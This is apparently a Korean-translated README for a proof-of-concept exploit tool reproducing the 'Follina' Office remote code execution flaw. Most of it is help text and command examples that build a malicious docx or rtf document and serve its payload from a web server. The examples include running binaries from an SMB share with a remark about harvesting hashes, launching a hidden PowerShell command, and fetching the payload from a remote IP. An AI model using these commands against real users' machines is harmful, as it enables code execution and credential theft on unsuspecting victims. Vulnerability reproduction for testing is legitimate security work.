
테스트 목적으로 전체 'Follina' Office RCE 취약점을 재현하는 POC
'Follina' Office RCE 취약점을 로컬 테스트 목적으로 재현하기 위한 간단한 POC입니다. 스크립트를 실행하면 현재 작업 디렉터리에 clickme.docx(또는 clickme.rtf) 페이로드 파일이 생성되고, 페이로드 파일(www/exploit.html)이 포함된 웹 서버가 시작됩니다. 페이로드 및 웹 서버 매개변수는 구성 가능합니다(도움말 및 예시 참조).
⚠ 프로덕션 환경에서 사용하지 마시오. 그러지 않으면 바보로 간주될 것입니다.
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
Kevin Beaumont 님께 이 문제에 대한 그의 원본 분석을 공유해 주셔서 감사드리고, @KevTheHermit 님께 POC를 공유해 주셔서, John Hammond 님께 페이로드 요구 사항 분석에 대한 추가 작업을 해 주셔서 감사드립니다. 또한 Office 2019를 지원하는 템플릿을 제공해 주신 @mkolsek 님과, 본인의 페이로드 버전을 공유해 주신 @theluemmel 님께도 감사드립니다.